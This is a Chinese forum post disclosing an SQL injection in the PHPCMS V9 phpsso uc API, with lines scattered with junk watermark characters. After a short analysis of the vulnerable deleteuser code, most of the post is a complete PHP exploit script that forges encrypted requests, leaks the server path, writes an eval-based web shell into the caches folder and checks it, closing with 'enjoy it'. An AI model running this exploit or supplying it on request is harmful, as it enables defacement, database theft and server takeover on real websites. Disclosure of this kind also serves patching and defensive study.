找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1774|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。# G$ j: }# ~: g
) _% E: ?5 o2 o* H  }& ~7 Q5 L5 [
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。6 w' o9 O1 \+ R) j' |

" {7 K; f* `  a( \漏洞分析:! B, ?: |7 }: O& x) _
1.未启用ucenter服务的情况下uc_key为空" b9 V6 x6 @- \
define('UC_KEY', pc_base::load_config('system', 'uc_key'));; D! z" s9 a/ `5 j) t
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。" r% ]% U  x& ^" v
    public function deleteuser($get,$post) {
4 x8 [, S$ g1 F6 i  t        pc_base::load_app_func('global', 'admin');; {& F6 E' w2 R1 d; k  G
        pc_base::load_app_class('messagequeue', 'admin' , 0);
8 M. A# O1 L# N, C* t8 N9 x# Z        $ids = new_stripslashes($get['ids']);
+ Y  o; f6 w6 r; P        $s = $this->member_db->select("ucuserid in ($ids)", "uid");0 v! R. p7 ~6 X3 b7 v, w# u
SQL语句为7 q  M1 Z: M, H5 O
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
0 q) m+ v& X: [7 n$ W  }- g) g& r1 ?2 l3 g/ y
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell5 L% [+ c# {2 k: s9 c
<?php: V3 {$ P4 n3 y4 O. n7 d$ G8 ~; v3 ]6 o
print_r('1 u+ ], ~' x8 z, f/ v0 N2 p
---------------------------------------------------------------------------
$ _& i9 U0 i" n7 vPHPcms (v9 or Old Version) uc api sql injection 0day/ f6 L8 C& K% f: v3 b
by rayh4c#80sec.com
' v( W) `/ `* A) K; `9 {---------------------------------------------------------------------------3 `) K% }& f+ [, s
');. S: w) K% N7 w3 H

3 Q( p2 J! D) |+ N$ Jif ($argc<3) {4 k' d9 k% z, }3 J5 W  x4 n
    print_r('& S% d& F/ X1 p9 O1 z
---------------------------------------------------------------------------: r% m; T$ l) w7 W
Usage: php '.$argv[0].' host path OPTIONS
2 c! K7 V% @& f+ }4 r3 Mhost:      target server (ip/hostname)
, Q: x1 c! p7 m, U: r9 K6 tpath:      path to phpcms5 R8 z; E0 {3 @. K
Options:
0 }4 o6 a" O7 F9 C" Z- n- B" Q" ^4 n -p[port]:    specify a port other than 80
. A: Y! A. K6 h7 `$ |" L: f -P[ip:port]: specify a proxy" M7 P, ~0 Z+ O# b% q
Example:
0 X5 {% u9 N5 h. U$ @php '.$argv[0].' localhost /6 C8 n* n9 W8 z
php '.$argv[0].' localhost /phpcms/ -p81
/ m' {3 }: R% Q3 c; _( ?$ d* P  f7 ]php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80+ I2 O5 m+ g  u# M: d+ M
---------------------------------------------------------------------------
3 Q8 o# g. D) {: r');; v# l2 W* ^9 H; J+ P
    die;
# |% j  o4 L/ V% f' K9 E; f/ ?}
  b3 R! s$ R1 f  Q
1 z8 f6 |- ?, A+ N" U4 [' xerror_reporting(7);
" k2 i. ?1 d- g% Cini_set("max_execution_time",0);/ Q8 @- l( s6 N# K  V( Q
ini_set("default_socket_timeout",5);+ v, L7 `& J5 l5 B, Y# |: q" s) i; K
/ q# l9 Y9 m7 E' m
function quick_dump($string)
0 r7 W  D1 [$ z  a{
7 m: J, X, ~( r% {5 u+ k8 u  $result='';$exa='';$cont=0;* S0 j# \- R# A' e+ E
  for ($i=0; $i<=strlen($string)-1; $i++)
/ P% ?5 E' r# w0 P% u9 o- k  {  M" y* s$ ^7 a/ y; _$ q
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))& H4 p" P( P' O8 K$ k
   {$result.="  .";}* i: f1 I# R6 s4 L, @
   else
8 [3 [" d( X) H. X1 b3 F   {$result.="  ".$string[$i];}: x- J- l; o8 t; J6 W0 D2 x
   if (strlen(dechex(ord($string[$i])))==2)
. }7 v. Q  {: S* X   {$exa.=" ".dechex(ord($string[$i]));}
5 h- _( r$ P- G" m0 z" y   else
: e, Z* g" Y, D   {$exa.=" 0".dechex(ord($string[$i]));}- A: L7 Z4 H5 ?/ {! G2 v9 @
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
& w' }- N  u, j5 Z  }6 x5 I, S: w$ v: f$ q/ H
return $exa."\r\n".$result;
  S: D; R4 P3 J+ [) r; d}2 Y1 B7 \5 l  `% Y7 o
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';2 P6 D+ I4 K( C

& O+ m5 w, Y1 `; G: I( k8 w; M8 kfunction send($packet)
# o9 |: g) [! v, n! f; X{
* @. o4 c9 b( K; H' H% M; v8 [  global $proxy, $host, $port, $html, $proxy_regex;- l$ ]8 n$ A  I. W! c: l3 l
  if ($proxy=='') {8 B; O7 {) [9 \
    $ock=fsockopen(gethostbyname($host),$port);- X+ e* }* H# J: y4 x6 E
    if (!$ock) {
6 \' _& ^6 x& p1 z- Z' u      echo 'No response from '.$host.':'.$port; die;
& C" @% }$ V" _' v4 i    }
2 X( Y" G  E* G/ y* h5 P' \$ ~  }
* c% d! l5 ]8 [: B$ {  else {
) _6 l& C/ \& p- a2 ?% \        $c = preg_match($proxy_regex,$proxy);+ Q* p/ _0 \! t" M, K8 S9 w
    if (!$c) {
" ^3 u% j4 U- W' A5 T4 l( y; }      echo 'Not a valid proxy...';die;
  C# M$ q5 j. v& D' V9 n    }2 e* o* H1 K9 S5 K  U
    $parts=explode(':',$proxy);! {6 F4 T2 q, y4 Y8 q4 k& [
    $parts[1]=(int)$parts[1];
* V  m! r4 P2 t    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";& o/ l+ K2 ^, a" \1 O
    $ock=fsockopen($parts[0],$parts[1]);7 ~$ n) [6 f5 w- ?; b. |0 v) w
    if (!$ock) {
) Y0 J5 i) K' `% |: r      echo 'No response from proxy...';die;
& h; z7 Z- o5 X* {. G        }
- ]8 i- M8 r2 [- ]1 F: L! z' X  }
' T+ f. w; t! z8 j9 F  fputs($ock,$packet);0 o$ W) W+ X0 Q: l0 J/ L
  if ($proxy=='') {8 K$ e( n3 O7 e7 I0 d- U/ I
    $html='';* n5 T7 h4 x, ~8 P. e6 W( r; W( f
    while (!feof($ock)) {$ |) W0 r( i  C9 M9 U5 \- Y
      $html.=fgets($ock);
' z& k# G( X; j    }* {6 V$ e7 U: }$ R" @1 G4 d2 V
  }( A" r# q$ t% }( q* L) Y' f; D
  else {
& N" W% B7 w. }0 [1 q5 n: j8 z0 V    $html='';
" O  n6 z) d# k% ?8 A$ n" H( O    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {* y0 w0 s2 O7 X' s# S5 H  K# M
      $html.=fread($ock,1);; v3 G! e$ W  S* Y6 D0 f6 B% b! u
    }
( x. U8 s: ~& ?  }
2 [: H4 X% I6 [6 S* y  g  fclose($ock);
6 Q; K  E% t( X: t}( {# {" S+ z, h
: V) A8 F. l' Y5 _4 u* g# }
$host=$argv[1];
! m! ]! H9 {& A  n; L$path=$argv[2];
: D2 v. e2 O! [, X  K  }$port=80;
* g0 x* E! ?8 P) [6 g- b$proxy="";' {( i0 z- O$ ?7 `8 I4 s6 M
for ($i=3; $i<$argc; $i++){
$ C$ K- f' i9 |+ T# K1 p$ j$temp=$argv[$i][0].$argv[$i][1];
5 z4 `% ~: f0 P( U' Yif ($temp=="-p")3 l) d2 @& U$ A, s8 K6 l2 l/ T
{
, B* d% T/ Q+ a. Q$ g3 E  $port=(int)str_replace("-p","",$argv[$i]);
: Y; S) t$ c3 m3 X: R# b}* m3 s$ U+ L0 Z( n4 m+ h
if ($temp=="-P")" l- M7 N! ^- R8 t  ?! l( \4 V
{0 W7 k1 T; v% a  c+ e" a
  $proxy=str_replace("-P","",$argv[$i]);0 ~  k8 T3 Y( K1 e% B
}
+ e* i5 }5 Y' ]7 W}
; d- S, P2 e. [
! V! J" N. r1 P8 [  h) E6 o1 y8 Fif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}9 Y5 `5 t) ]. U' @' Z. u+ k
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}+ m7 Z) e8 y5 e+ u* `  q
1 I* o' T  v5 b2 m0 [
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
0 V7 T: k. N2 }! ]4 N* Q% P" o  ~9 s9 [- I9 K3 b
    $ckey_length = 4;
7 E4 K, F' t, T- g) H& R
% @# Q0 t% X4 _* {    $key = md5($key ? $key : '');
& G5 r% j$ Q+ ]& B; O$ _! v' Y    $keya = md5(substr($key, 0, 16));' k) ?# H. i% T; `
    $keyb = md5(substr($key, 16, 16));5 e/ A% |: V+ ~9 y. t8 J
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
6 N& Z2 m. d" t, O
9 o8 t8 m; w7 [/ g    $cryptkey = $keya.md5($keya.$keyc);
  _" }6 j. _! r' e    $key_length = strlen($cryptkey);
: P- ^' `0 P& \3 H. K6 w2 l+ x9 c) q3 e. K5 l
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;/ o9 f9 b- G: I; y" ~  l6 R+ d
    $string_length = strlen($string);: @% y+ b$ I" R

: p& o, w" a5 @    $result = '';3 |0 K' I; T* p- p7 j( r9 h5 r
    $box = range(0, 255);
5 U' U" q6 c* T
! f$ V' s0 G( z, ~# R    $rndkey = array();
6 ^5 X* O1 e& y1 z' T5 P9 p    for($i = 0; $i <= 255; $i++) {6 E. P: R9 f' E9 l3 v
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
- f  g- e" j' v( Z    }9 ^" n, k* ]: M: g" ?/ k) s
  i! q" w1 F- y8 g* i2 u
    for($j = $i = 0; $i < 256; $i++) {
9 r) u  b7 f* X( c9 W5 M        $j = ($j + $box[$i] + $rndkey[$i]) % 256;: ?2 M7 W; ?. O8 e( m
        $tmp = $box[$i];
# |8 |9 [; c/ A/ m5 E! B        $box[$i] = $box[$j];9 G6 [) z' j- M1 w4 H1 K, h
        $box[$j] = $tmp;4 `; G) o2 ?7 R) p; i% }9 Q& D7 f
    }
) C: C8 D, j, o, u) o* e
6 |& K0 ?8 E' S# c  O9 b2 J( @    for($a = $j = $i = 0; $i < $string_length; $i++) {
  {& ^7 j( I. E& u% {+ c& n9 a( j  N        $a = ($a + 1) % 256;3 e5 Y5 L, s$ m! Q5 S9 \: x9 S
        $j = ($j + $box[$a]) % 256;
' Y; L9 R8 M# G3 @, g3 U        $tmp = $box[$a];  m, [9 B& u2 F. U0 t1 Q
        $box[$a] = $box[$j];9 d9 |/ v3 `& u4 |( j3 P# A/ ^
        $box[$j] = $tmp;7 o9 F2 l" {. q9 D2 l
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
( M( }. q, u& s$ |" k+ o    }$ D  a  ?. ?* I3 g( }$ u; ?* o7 w5 H. J

& m. F7 ^: r+ ~4 D; X* z, s/ x    if($operation == 'DECODE') {
: O6 ?% R/ q- q$ \- k, h! d+ j1 C        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {3 `6 Z: U. i6 M
            return substr($result, 26);
5 H% ~; |* r( V* N        } else {
7 K$ _2 D' v* i5 P$ ^            return '';5 Q5 k- ]7 S/ s6 |) O
        }* G- j  X6 V; j; }+ C/ c
    } else {
! b( k! j7 A: @! J, N3 U        return $keyc.str_replace('=', '', base64_encode($result));8 F' g. B' B* K) F5 }4 D% X
    }
; ?. o, m& X% e0 d
1 i) k+ E8 ?. f: Q2 a}
8 z6 ~3 b5 K$ {$ p1 _& }1 g* v
5 Z3 \% y7 k$ n' y$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";% \* i3 e+ w7 Y' O6 X: v2 |
$SQL = urlencode(authcode($SQL, "ENCODE", ""));8 D9 v( L8 f, `" d
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
6 u, h3 C9 p- e9 [# |# S$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
! M' S" q) ~0 L6 g5 Z! D8 ~9 p$packet.="User-Agent: Mozilla/5.0\r\n";. l9 y5 o/ q( H/ f0 t) o
$packet.="Host: ".$host."\r\n";
7 z. O  d2 R6 G9 T& t$packet.="Connection: Close\r\n\r\n";
$ W; }( t' O1 u/ ]send($packet);1 `! X: q; U: R& L) Q
if(strpos($html,"MySQL Errno") > 0){! J; ^1 l/ F7 D3 i, v$ B
echo "[2] 发现存在SQL注入漏洞"."\n";
6 U( @* j5 a4 `- p) a8 t$ B/ d3 E8 O7 P5 fecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";+ b% W9 u* s8 @: \8 A& N
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";; p7 }: s) }' l4 X
$packet.="User-Agent: Mozilla/5.0\r\n";
, P8 I3 o5 A  `6 P) T; C5 C1 b' ]$packet.="Host: ".$host."\r\n";% P8 ^. n' A) I% f0 l( N
$packet.="Connection: Close\r\n\r\n";- O2 d' a5 x  A0 V3 ~: @
send($packet);
8 Z" I: y2 q2 B+ `1 J! Opreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);" q! O: Q- K: a1 p! ?6 J* Q0 n! d
//print_r($matches);
2 _& f+ o( K- hif(!empty($matches)){
7 z6 A7 L! H5 s/ qecho "[4] 得到web路径 " . $matches[0]."\n";
1 h+ H/ c- _9 t9 ~! z  vecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";9 Y/ c2 R# T9 U. R7 b% }2 r
$SQL = "time=999999999999999999999999&ids=1)";, a% N4 m$ G* x$ K9 y! H% i
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
1 ?" }+ O6 [9 _6 l$SQL.="&action=deleteuser";
2 d" f. [( Q1 T  j7 D& q& [$SQL = urlencode(authcode($SQL, "ENCODE", ""));& L0 @$ C" `# _* B1 `/ p6 f
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";9 q5 g6 \1 x# e: W. l3 i9 q, Q
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
( A% z9 w. i4 n7 m4 p$packet.="User-Agent: Mozilla/5.0\r\n";
- W) K9 w; V) [1 l1 }  k4 [- f$packet.="Host: ".$host."\r\n";9 d0 W* f  X1 S7 Y. u# H
$packet.="Connection: Close\r\n\r\n";6 |& m' i% l6 _* }
send($packet);" h& R; L% F7 J
if(strpos($html,"Access denied") > 0){
4 q& {3 i" Y  r: p4 W: Z. Recho "[-] MYSQL权限过低 禁止写入文件 ";
, ~2 u' J, N# j; `die;
& B) {7 E% q6 [3 Y$ i3 O/ [}
7 f9 C) |2 A0 l" L5 s4 zecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
* ~: |& G! x. X( j* L+ i& e$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
, E4 l% C( i  M6 o3 x/ Z% N; S$packet.="User-Agent: Mozilla/5.0\r\n";
1 w- x) o4 K0 j8 E5 A$packet.="Host: ".$host."\r\n";# t1 E0 O; q* j* U6 W2 b( \
$packet.="Connection: Close\r\n\r\n";
4 B! ~! {, w$ h8 o, bsend($packet);
: z5 j% A( e$ Qif(strpos($html,"<title>phpinfo()</title>") > 0){
1 P/ Z5 @; I& P* \1 {7 iecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
: U6 C* |" P5 |6 w3 Q3 e  |7 q}/ H2 [" c3 m& w" H: p, ?
}else{
+ X: z$ e: n* ?2 }- S' Z/ @echo "[-]未取到web路径 ";
  u* W" D, O( s# |% N}
9 b: o& X8 D. v6 V7 R3 K/ `* Y}else{
) y7 U7 ^8 \9 a$ Q8 Necho "[*]不存在SQL注入漏洞"."\n";
+ ^; o7 E! L% n' s; a}0 G; R: O, m: L8 }: U$ R, Y" d+ {
+ U6 u5 X3 G7 H! U- o
?>
% b9 K+ E( r! m$ T- d  I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表